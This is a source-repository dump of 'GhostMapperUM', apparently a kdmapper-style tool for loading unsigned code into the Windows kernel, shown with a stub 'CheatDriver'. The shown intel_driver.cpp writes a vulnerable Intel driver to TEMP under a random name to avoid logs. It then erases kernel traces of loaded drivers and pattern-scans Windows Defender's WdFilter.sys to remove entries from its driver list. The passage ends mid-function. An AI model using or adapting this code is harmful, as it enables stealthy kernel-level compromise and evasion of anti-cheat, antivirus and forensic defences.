├── .gitignore ├── CheatDriver ├── CheatDriver.sln ├── CheatDriver │ ├── CheatDriver.inf │ ├── CheatDriver.vcxproj │ ├── CheatDriver.vcxproj.filters │ ├── main.c │ └── x64 │ │ └── Release │ │ ├── CheatDriver.inf │ │ ├── CheatDriver.log │ │ ├── CheatDriver.sys.recipe │ │ ├── main.obj │ │ └── vc143.pdb └── x64 │ └── Release │ ├── CheatDriver.cer │ ├── CheatDriver.inf │ ├── CheatDriver.pdb │ ├── CheatDriver.sys │ └── CheatDriver │ ├── CheatDriver.inf │ ├── CheatDriver.sys │ └── cheatdriver.cat ├── GhostMapperUM ├── GhostMapperUM.sln ├── GhostMapperUM │ ├── AutoFree.h │ ├── AutoHandle.h │ ├── GhostMapperUM.vcxproj │ ├── GhostMapperUM.vcxproj.filters │ ├── GhostMapperUM.vcxproj.user │ ├── Intel_driver_resource.hpp │ ├── config.h │ ├── intel_driver.cpp │ ├── intel_driver.hpp │ ├── main.cpp │ ├── mapper.cpp │ ├── mapper.h │ ├── nt.hpp │ ├── portable_executable.cpp │ ├── portable_executable.hpp │ ├── pte.cpp │ ├── pte.h │ ├── restore.cpp │ ├── restore.h │ ├── service.cpp │ ├── service.hpp │ ├── utils.cpp │ ├── utils.hpp │ └── x64 │ │ └── Release │ │ ├── GhostMapperUM.exe.recipe │ │ ├── GhostMapperUM.iobj │ │ ├── GhostMapperUM.ipdb │ │ ├── GhostMapperUM.log │ │ ├── Utils.obj │ │ ├── intel_driver.obj │ │ ├── main.obj │ │ ├── mapper.obj │ │ ├── portable_executable.obj │ │ ├── pte.obj │ │ ├── restore.obj │ │ ├── service.obj │ │ └── vc142.pdb └── x64 │ └── Release │ ├── GhostMapperUM.exe │ └── GhostMapperUM.pdb └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Compiled Object files 5 | *.slo 6 | *.lo 7 | *.o 8 | *.obj 9 | 10 | # Precompiled Headers 11 | *.gch 12 | *.pch 13 | 14 | # Compiled Dynamic libraries 15 | *.so 16 | *.dylib 17 | *.dll 18 | 19 | # Fortran module files 20 | *.mod 21 | *.smod 22 | 23 | # Compiled Static libraries 24 | *.lai 25 | *.la 26 | *.a 27 | *.lib 28 | 29 | # Executables 30 | *.exe 31 | *.out 32 | *.app 33 | -------------------------------------------------------------------------------- /CheatDriver/CheatDriver.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.2.32505.173 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CheatDriver", "CheatDriver\CheatDriver.vcxproj", "{0CD9825C-E0AF-4D35-AF72-4D4DAE366F3F}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|ARM64 = Debug|ARM64 11 | Debug|x64 = Debug|x64 12 | Release|ARM64 = Release|ARM64 13 | Release|x64 = Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {0CD9825C-E0AF-4D35-AF72-4D4DAE366F3F}.Debug|ARM64.ActiveCfg = Debug|ARM64 17 | {0CD9825C-E0AF-4D35-AF72-4D4DAE366F3F}.Debug|ARM64.Build.0 = Debug|ARM64 18 | {0CD9825C-E0AF-4D35-AF72-4D4DAE366F3F}.Debug|ARM64.Deploy.0 = Debug|ARM64 19 | {0CD9825C-E0AF-4D35-AF72-4D4DAE366F3F}.Debug|x64.ActiveCfg = Debug|x64 20 | {0CD9825C-E0AF-4D35-AF72-4D4DAE366F3F}.Debug|x64.Build.0 = Debug|x64 21 | {0CD9825C-E0AF-4D35-AF72-4D4DAE366F3F}.Debug|x64.Deploy.0 = Debug|x64 22 | {0CD9825C-E0AF-4D35-AF72-4D4DAE366F3F}.Release|ARM64.ActiveCfg = Release|ARM64 23 | {0CD9825C-E0AF-4D35-AF72-4D4DAE366F3F}.Release|ARM64.Build.0 = Release|ARM64 24 | {0CD9825C-E0AF-4D35-AF72-4D4DAE366F3F}.Release|ARM64.Deploy.0 = Release|ARM64 25 | {0CD9825C-E0AF-4D35-AF72-4D4DAE366F3F}.Release|x64.ActiveCfg = Release|x64 26 | {0CD9825C-E0AF-4D35-AF72-4D4DAE366F3F}.Release|x64.Build.0 = Release|x64 27 | {0CD9825C-E0AF-4D35-AF72-4D4DAE366F3F}.Release|x64.Deploy.0 = Release|x64 28 | EndGlobalSection 29 | GlobalSection(SolutionProperties) = preSolution 30 | HideSolutionNode = FALSE 31 | EndGlobalSection 32 | GlobalSection(ExtensibilityGlobals) = postSolution 33 | SolutionGuid = {89E7F9CE-9091-4B52-9B10-4A56FF691969} 34 | EndGlobalSection 35 | EndGlobal 36 | -------------------------------------------------------------------------------- /CheatDriver/CheatDriver/CheatDriver.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; CheatDriver.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} 9 | Provider=%ManufacturerName% 10 | DriverVer= 11 | CatalogFile=CheatDriver.cat 12 | PnpLockdown=1 13 | 14 | ;This template is supported for OS version 17763 (Windows 10 version 1809) and after. 15 | ;For Windows OS prior to Windows 10 1809 set DefaultDestDir = 12 16 | [DestinationDirs] 17 | DefaultDestDir = 13 18 | 19 | 20 | [SourceDisksNames] 21 | 1 = %DiskName%,,,"" 22 | 23 | [SourceDisksFiles] 24 | 25 | 26 | [Manufacturer] 27 | 28 | [Standard.NT$ARCH$] 29 | 30 | 31 | [Strings] 32 | ManufacturerName="" ;TODO: Replace with your manufacturer name 33 | DiskName="CheatDriver Source Disk" 34 | -------------------------------------------------------------------------------- /CheatDriver/CheatDriver/CheatDriver.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | Debug 14 | ARM64 15 | 16 | 17 | Release 18 | ARM64 19 | 20 | 21 | 22 | {0CD9825C-E0AF-4D35-AF72-4D4DAE366F3F} 23 | {dd38f7fc-d7bd-488b-9242-7d8754cde80d} 24 | v4.5 25 | 12.0 26 | Debug 27 | x64 28 | CheatDriver 29 | 30 | 31 | 32 | Windows10 33 | true 34 | WindowsKernelModeDriver10.0 35 | Driver 36 | WDM 37 | 38 | 39 | Windows10 40 | false 41 | WindowsKernelModeDriver10.0 42 | Driver 43 | WDM 44 | 45 | 46 | Windows10 47 | true 48 | WindowsKernelModeDriver10.0 49 | Driver 50 | WDM 51 | 52 | 53 | Windows10 54 | false 55 | WindowsKernelModeDriver10.0 56 | Driver 57 | WDM 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | DbgengKernelDebugger 69 | 70 | 71 | DbgengKernelDebugger 72 | true 73 | 74 | 75 | DbgengKernelDebugger 76 | 77 | 78 | DbgengKernelDebugger 79 | 80 | 81 | 82 | sha256 83 | 84 | 85 | 86 | 87 | sha256 88 | 89 | 90 | /INTEGRITYCHECK %(AdditionalOptions) 91 | CustomDriverEntry 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | -------------------------------------------------------------------------------- /CheatDriver/CheatDriver/CheatDriver.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Driver Files 24 | 25 | 26 | 27 | 28 | Source Files 29 | 30 | 31 | -------------------------------------------------------------------------------- /CheatDriver/CheatDriver/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define RESTORE true 4 | #define RESTORE_EVENT L"\\BaseNamedObjects\\RestoreDrv" 5 | 6 | int TestGloabl = 0; 7 | 8 | NTSTATUS CustomDriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) 9 | { 10 | UNREFERENCED_PARAMETER(DriverObject); 11 | UNREFERENCED_PARAMETER(RegistryPath); 12 | 13 | TestGloabl = 1; 14 | DbgPrint("[*] mapped driver :: I'm executing : ) \n"); 15 | 16 | 17 | return STATUS_SUCCESS; 18 | } -------------------------------------------------------------------------------- /CheatDriver/CheatDriver/x64/Release/CheatDriver.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; CheatDriver.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} 9 | Provider=%ManufacturerName% 10 | DriverVer = 03/29/2024,12.2.30.429 11 | CatalogFile=CheatDriver.cat 12 | PnpLockdown=1 13 | 14 | ;This template is supported for OS version 17763 (Windows 10 version 1809) and after. 15 | ;For Windows OS prior to Windows 10 1809 set DefaultDestDir = 12 16 | [DestinationDirs] 17 | DefaultDestDir = 13 18 | 19 | 20 | [SourceDisksNames] 21 | 1 = %DiskName%,,,"" 22 | 23 | [SourceDisksFiles] 24 | 25 | 26 | [Manufacturer] 27 | 28 | [Standard.NTamd64] 29 | 30 | 31 | [Strings] 32 | ManufacturerName="" ;TODO: Replace with your manufacturer name 33 | DiskName="CheatDriver Source Disk" 34 | -------------------------------------------------------------------------------- /CheatDriver/CheatDriver/x64/Release/CheatDriver.log: -------------------------------------------------------------------------------- 1 |  Building 'CheatDriver' with toolset 'WindowsKernelModeDriver10.0' and the 'Desktop' target platform. 2 | Stamping x64\Release\CheatDriver.inf 3 | Stamping [Version] section with DriverVer=03/29/2024,12.2.30.429 4 | C:\Users\dorge\source\repos\CheatDriver\CheatDriver\CheatDriver.inf(28-28): warning 2083: Section [standard.ntamd64] not referenced or used. 5 | main.c 6 | CheatDriver.vcxproj -> C:\Users\dorge\source\repos\CheatDriver\x64\Release\CheatDriver.sys 7 | Done Adding Additional Store 8 | Successfully signed: C:\Users\dorge\source\repos\CheatDriver\x64\Release\CheatDriver.sys 9 | 10 | ......................... 11 | Signability test complete. 12 | 13 | Errors: 14 | None 15 | 16 | Warnings: 17 | None 18 | 19 | Catalog generation complete. 20 | C:\Users\dorge\source\repos\CheatDriver\x64\Release\CheatDriver\cheatdriver.cat 21 | Done Adding Additional Store 22 | Successfully signed: C:\Users\dorge\source\repos\CheatDriver\x64\Release\CheatDriver\cheatdriver.cat 23 | 24 | -------------------------------------------------------------------------------- /CheatDriver/CheatDriver/x64/Release/CheatDriver.sys.recipe: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | C:\Users\dorge\source\repos\CheatDriver\x64\Release\CheatDriver.sys 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /CheatDriver/CheatDriver/x64/Release/main.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/GhostMapperUM/dd1c90c23d4b2d8cf2ce3c4e5155d446428045a1/CheatDriver/CheatDriver/x64/Release/main.obj -------------------------------------------------------------------------------- /CheatDriver/CheatDriver/x64/Release/vc143.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/GhostMapperUM/dd1c90c23d4b2d8cf2ce3c4e5155d446428045a1/CheatDriver/CheatDriver/x64/Release/vc143.pdb -------------------------------------------------------------------------------- /CheatDriver/x64/Release/CheatDriver.cer: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/GhostMapperUM/dd1c90c23d4b2d8cf2ce3c4e5155d446428045a1/CheatDriver/x64/Release/CheatDriver.cer -------------------------------------------------------------------------------- /CheatDriver/x64/Release/CheatDriver.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; CheatDriver.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} 9 | Provider=%ManufacturerName% 10 | DriverVer = 03/29/2024,12.2.30.429 11 | CatalogFile=CheatDriver.cat 12 | PnpLockdown=1 13 | 14 | ;This template is supported for OS version 17763 (Windows 10 version 1809) and after. 15 | ;For Windows OS prior to Windows 10 1809 set DefaultDestDir = 12 16 | [DestinationDirs] 17 | DefaultDestDir = 13 18 | 19 | 20 | [SourceDisksNames] 21 | 1 = %DiskName%,,,"" 22 | 23 | [SourceDisksFiles] 24 | 25 | 26 | [Manufacturer] 27 | 28 | [Standard.NTamd64] 29 | 30 | 31 | [Strings] 32 | ManufacturerName="" ;TODO: Replace with your manufacturer name 33 | DiskName="CheatDriver Source Disk" 34 | -------------------------------------------------------------------------------- /CheatDriver/x64/Release/CheatDriver.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/GhostMapperUM/dd1c90c23d4b2d8cf2ce3c4e5155d446428045a1/CheatDriver/x64/Release/CheatDriver.pdb -------------------------------------------------------------------------------- /CheatDriver/x64/Release/CheatDriver.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/GhostMapperUM/dd1c90c23d4b2d8cf2ce3c4e5155d446428045a1/CheatDriver/x64/Release/CheatDriver.sys -------------------------------------------------------------------------------- /CheatDriver/x64/Release/CheatDriver/CheatDriver.inf: -------------------------------------------------------------------------------- 1 | ; 2 | ; CheatDriver.inf 3 | ; 4 | 5 | [Version] 6 | Signature="$WINDOWS NT$" 7 | Class=System 8 | ClassGuid={4d36e97d-e325-11ce-bfc1-08002be10318} 9 | Provider=%ManufacturerName% 10 | DriverVer = 03/29/2024,12.2.30.429 11 | CatalogFile=CheatDriver.cat 12 | PnpLockdown=1 13 | 14 | ;This template is supported for OS version 17763 (Windows 10 version 1809) and after. 15 | ;For Windows OS prior to Windows 10 1809 set DefaultDestDir = 12 16 | [DestinationDirs] 17 | DefaultDestDir = 13 18 | 19 | 20 | [SourceDisksNames] 21 | 1 = %DiskName%,,,"" 22 | 23 | [SourceDisksFiles] 24 | 25 | 26 | [Manufacturer] 27 | 28 | [Standard.NTamd64] 29 | 30 | 31 | [Strings] 32 | ManufacturerName="" ;TODO: Replace with your manufacturer name 33 | DiskName="CheatDriver Source Disk" 34 | -------------------------------------------------------------------------------- /CheatDriver/x64/Release/CheatDriver/CheatDriver.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/GhostMapperUM/dd1c90c23d4b2d8cf2ce3c4e5155d446428045a1/CheatDriver/x64/Release/CheatDriver/CheatDriver.sys -------------------------------------------------------------------------------- /CheatDriver/x64/Release/CheatDriver/cheatdriver.cat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0mWindyBug/GhostMapperUM/dd1c90c23d4b2d8cf2ce3c4e5155d446428045a1/CheatDriver/x64/Release/CheatDriver/cheatdriver.cat -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.33801.447 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "GhostMapperUM", "GhostMapperUM\GhostMapperUM.vcxproj", "{F2E9BD8F-06A6-4899-B56C-315E81A5FBCA}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|ARM = Debug|ARM 11 | Debug|ARM64 = Debug|ARM64 12 | Debug|x64 = Debug|x64 13 | Debug|x86 = Debug|x86 14 | Release|ARM = Release|ARM 15 | Release|ARM64 = Release|ARM64 16 | Release|x64 = Release|x64 17 | Release|x86 = Release|x86 18 | EndGlobalSection 19 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 20 | {F2E9BD8F-06A6-4899-B56C-315E81A5FBCA}.Debug|ARM.ActiveCfg = Debug|Win32 21 | {F2E9BD8F-06A6-4899-B56C-315E81A5FBCA}.Debug|ARM64.ActiveCfg = Debug|Win32 22 | {F2E9BD8F-06A6-4899-B56C-315E81A5FBCA}.Debug|x64.ActiveCfg = Debug|x64 23 | {F2E9BD8F-06A6-4899-B56C-315E81A5FBCA}.Debug|x64.Build.0 = Debug|x64 24 | {F2E9BD8F-06A6-4899-B56C-315E81A5FBCA}.Debug|x86.ActiveCfg = Debug|Win32 25 | {F2E9BD8F-06A6-4899-B56C-315E81A5FBCA}.Debug|x86.Build.0 = Debug|Win32 26 | {F2E9BD8F-06A6-4899-B56C-315E81A5FBCA}.Release|ARM.ActiveCfg = Release|Win32 27 | {F2E9BD8F-06A6-4899-B56C-315E81A5FBCA}.Release|ARM64.ActiveCfg = Release|Win32 28 | {F2E9BD8F-06A6-4899-B56C-315E81A5FBCA}.Release|x64.ActiveCfg = Release|x64 29 | {F2E9BD8F-06A6-4899-B56C-315E81A5FBCA}.Release|x64.Build.0 = Release|x64 30 | {F2E9BD8F-06A6-4899-B56C-315E81A5FBCA}.Release|x86.ActiveCfg = Release|Win32 31 | {F2E9BD8F-06A6-4899-B56C-315E81A5FBCA}.Release|x86.Build.0 = Release|Win32 32 | EndGlobalSection 33 | GlobalSection(SolutionProperties) = preSolution 34 | HideSolutionNode = FALSE 35 | EndGlobalSection 36 | GlobalSection(ExtensibilityGlobals) = postSolution 37 | SolutionGuid = {2A3C9BEB-E3B3-4121-AC84-B32DE4C1A6A8} 38 | EndGlobalSection 39 | EndGlobal 40 | -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/AutoFree.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | 5 | 6 | class AutoFree 7 | { 8 | public: 9 | AutoFree(void* Buffer) : m_ptr(Buffer){}; 10 | ~AutoFree() { VirtualFree(m_ptr, 0, MEM_RELEASE); }; 11 | 12 | private: 13 | void* m_ptr; 14 | }; -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/AutoHandle.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | 5 | class AutoHandle 6 | { 7 | public: 8 | AutoHandle(HANDLE Handle) : m_handle(Handle) {}; 9 | ~AutoHandle() 10 | { 11 | if (m_handle != INVALID_HANDLE_VALUE && m_handle != NULL) 12 | CloseHandle(m_handle); 13 | } 14 | private: 15 | HANDLE m_handle; 16 | }; -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/GhostMapperUM.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {f2e9bd8f-06a6-4899-b56c-315e81a5fbca} 25 | GhostMapperUM 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 106 | 107 | Console 108 | true 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 118 | true 119 | 120 | 121 | Console 122 | true 123 | 124 | 125 | 126 | 127 | Level3 128 | true 129 | true 130 | true 131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 132 | true 133 | $(ProjectDir);%(AdditionalIncludeDirectories) 134 | stdcpp17 135 | 136 | 137 | Console 138 | true 139 | true 140 | true 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/GhostMapperUM.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | Source Files 35 | 36 | 37 | Source Files 38 | 39 | 40 | Source Files 41 | 42 | 43 | 44 | 45 | Header Files 46 | 47 | 48 | Header Files 49 | 50 | 51 | Header Files 52 | 53 | 54 | Header Files 55 | 56 | 57 | Header Files 58 | 59 | 60 | Header Files 61 | 62 | 63 | Header Files 64 | 65 | 66 | Header Files 67 | 68 | 69 | Header Files 70 | 71 | 72 | Header Files 73 | 74 | 75 | Header Files 76 | 77 | 78 | Header Files 79 | 80 | 81 | -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/GhostMapperUM.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/config.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | 4 | #define TARGET_DRIVER_PATH L"C:\\CheatDriver.sys" 5 | 6 | 7 | -------------------------------------------------------------------------------- /GhostMapperUM/GhostMapperUM/intel_driver.cpp: -------------------------------------------------------------------------------- 1 | #include "intel_driver.hpp" 2 | 3 | // Credit :: kdmapper utils : ) 4 | 5 | 6 | ULONG64 intel_driver::ntoskrnlAddr = 0; 7 | char intel_driver::driver_name[100] = {}; 8 | uintptr_t PiDDBLockPtr; 9 | uintptr_t PiDDBCacheTablePtr; 10 | 11 | std::wstring intel_driver::GetDriverNameW() { 12 | std::string t(intel_driver::driver_name); 13 | std::wstring name(t.begin(), t.end()); 14 | return name; 15 | } 16 | 17 | std::wstring intel_driver::GetDriverPath() { 18 | std::wstring temp = utils::GetFullTempPath(); 19 | if (temp.empty()) { 20 | return L""; 21 | } 22 | return temp + L"\\" + GetDriverNameW(); 23 | } 24 | 25 | bool intel_driver::IsRunning() { 26 | const HANDLE file_handle = CreateFileW(L"\\\\.\\Nal", FILE_ANY_ACCESS, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr); 27 | if (file_handle != nullptr && file_handle != INVALID_HANDLE_VALUE) 28 | { 29 | CloseHandle(file_handle); 30 | return true; 31 | } 32 | return false; 33 | } 34 | 35 | HANDLE intel_driver::Load() { 36 | srand((unsigned)time(NULL) * GetCurrentThreadId()); 37 | 38 | //from https://github.com/ShoaShekelbergstein/kdmapper as some Drivers takes same device name 39 | if (intel_driver::IsRunning()) { 40 | Log(L"[-] \\Device\\Nal is already in use." << std::endl); 41 | return INVALID_HANDLE_VALUE; 42 | } 43 | 44 | //Randomize name for log in registry keys, usn jornal and other shits 45 | memset(intel_driver::driver_name, 0, sizeof(intel_driver::driver_name)); 46 | static const char alphanum[] = 47 | "abcdefghijklmnopqrstuvwxyz" 48 | "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; 49 | int len = rand() % 20 + 10; 50 | for (int i = 0; i < len; ++i) 51 | intel_driver::driver_name[i] = alphanum[rand() % (sizeof(alphanum) - 1)]; 52 | 53 | 54 | std::wstring driver_path = GetDriverPath(); 55 | if (driver_path.empty()) { 56 | Log(L"[-] Can't find TEMP folder" << std::endl); 57 | return INVALID_HANDLE_VALUE; 58 | } 59 | 60 | _wremove(driver_path.c_str()); 61 | 62 | if (!utils::CreateFileFromMemory(driver_path, reinterpret_cast(intel_driver_resource::driver), sizeof(intel_driver_resource::driver))) { 63 | Log(L"[-] Failed to create vulnerable driver file" << std::endl); 64 | return INVALID_HANDLE_VALUE; 65 | } 66 | 67 | if (!service::RegisterAndStart(driver_path)) { 68 | Log(L"[-] Failed to register and start service for the vulnerable driver" << std::endl); 69 | _wremove(driver_path.c_str()); 70 | return INVALID_HANDLE_VALUE; 71 | } 72 | 73 | HANDLE result = CreateFileW(L"\\\\.\\Nal", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 74 | 75 | if (!result || result == INVALID_HANDLE_VALUE) 76 | { 77 | intel_driver::Unload(result); 78 | return INVALID_HANDLE_VALUE; 79 | } 80 | 81 | ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe"); 82 | if (ntoskrnlAddr == 0) { 83 | Log(L"[-] Failed to get ntoskrnl.exe" << std::endl); 84 | intel_driver::Unload(result); 85 | return INVALID_HANDLE_VALUE; 86 | } 87 | 88 | if (!intel_driver::ClearPiDDBCacheTable(result)) { 89 | Log(L"[-] Failed to ClearPiDDBCacheTable" << std::endl); 90 | intel_driver::Unload(result); 91 | return INVALID_HANDLE_VALUE; 92 | } 93 | 94 | if (!intel_driver::ClearKernelHashBucketList(result)) { 95 | Log(L"[-] Failed to ClearKernelHashBucketList" << std::endl); 96 | intel_driver::Unload(result); 97 | return INVALID_HANDLE_VALUE; 98 | } 99 | 100 | if (!intel_driver::ClearMmUnloadedDrivers(result)) { 101 | Log(L"[!] Failed to ClearMmUnloadedDrivers" << std::endl); 102 | intel_driver::Unload(result); 103 | return INVALID_HANDLE_VALUE; 104 | } 105 | 106 | if (!intel_driver::ClearWdFilterDriverList(result)) { 107 | Log("[!] Failed to ClearWdFilterDriverList" << std::endl); 108 | intel_driver::Unload(result); 109 | return INVALID_HANDLE_VALUE; 110 | } 111 | 112 | return result; 113 | } 114 | 115 | bool intel_driver::ClearWdFilterDriverList(HANDLE device_handle) { 116 | 117 | auto WdFilter = utils::GetKernelModuleAddress("WdFilter.sys"); 118 | if (!WdFilter) { 119 | Log("[+] WdFilter.sys not loaded, clear skipped" << std::endl); 120 | return true; 121 | } 122 | 123 | auto RuntimeDriversList = FindPatternInSectionAtKernel(device_handle, "PAGE", WdFilter, (PUCHAR)"\x48\x8B\x0D\x00\x00\x00\x00\xFF\x05", "xxx????xx"); 124 | if (!RuntimeDriversList) { 125 | Log("[!] Failed to find WdFilter RuntimeDriversList" << std::endl); 126 | return false; 127 | } 128 | 129 | auto RuntimeDriversCountRef = FindPatternInSectionAtKernel(device_handle, "PAGE", WdFilter, (PUCHAR)"\xFF\x05\x00\x00\x00\x00\x48\x39\x11", "xx????xxx"); 130 | if (!RuntimeDriversCountRef) { 131 | Log("[!] Failed to find WdFilter RuntimeDriversCount" << std::endl); 132 | return false; 133 | } 134 | 135 | // MpCleanupDriverInfo->MpFreeDriverInfoEx 23110 136 | /* 137 | 49 8B C9 mov rcx, r9 ; P 138 | 49 89 50 08 mov [r8+8], rdx 139 | E8 FB F0 FD FF call MpFreeDriverInfoEx 140 | 48 8B 0D FC AA FA FF mov rcx, cs:qword_1C0021BF0 141 | E9 21 FF FF FF jmp loc_1C007701A 142 | */ 143 | auto MpFreeDriverInfoExRef = FindPatternInSectionAtKernel(device_handle, "PAGE", WdFilter, (PUCHAR)"\x49\x8B\xC9\x00\x89\x00\x08\xE8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE9", "xxx?x?xx???????????x"); 144 | if (!MpFreeDriverInfoExRef) { 145 | // 24010 146 | /* 147 | 48 89 4A 08 mov [rdx+8], rcx 148 | 49 8B C8 mov rcx, r8 ; P 149 | E8 C3 58 FE FF call sub_1C0065308 150 | 48 8B 0D 44 41 FA FF mov rcx, cs:qword_1C0023B90 151 | E9 39 FF FF FF jmp loc_1C007F98A 152 | */ 153 | MpFreeDriverInfoExRef = FindPatternInSectionAtKernel(device_handle, "PAGE", WdFilter, (PUCHAR)"\x48\x89\x4A\x00\x49\x8b\x00\xE8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE9", "xxx?xx?x???????????x"); 154 | if (!MpFreeDriverInfoExRef) { 155 | Log("[!] Failed to find WdFilter MpFreeDriverInfoEx" << std::endl); 156 | return false; 157 | } 158 | else { 159 | Log("[+] Found WdFilter MpFreeDriverInfoEx with second pattern" << std::endl); 160 | } 161 | 162 | } 163 | 164 | MpFreeDriverInfoExRef += 0x7; // skip until call instruction 165 | 166 | RuntimeDriversList = (uintptr_t)ResolveRelativeAddress(device_handle, (PVOID)RuntimeDriversList, 3, 7); 167 | uintptr_t 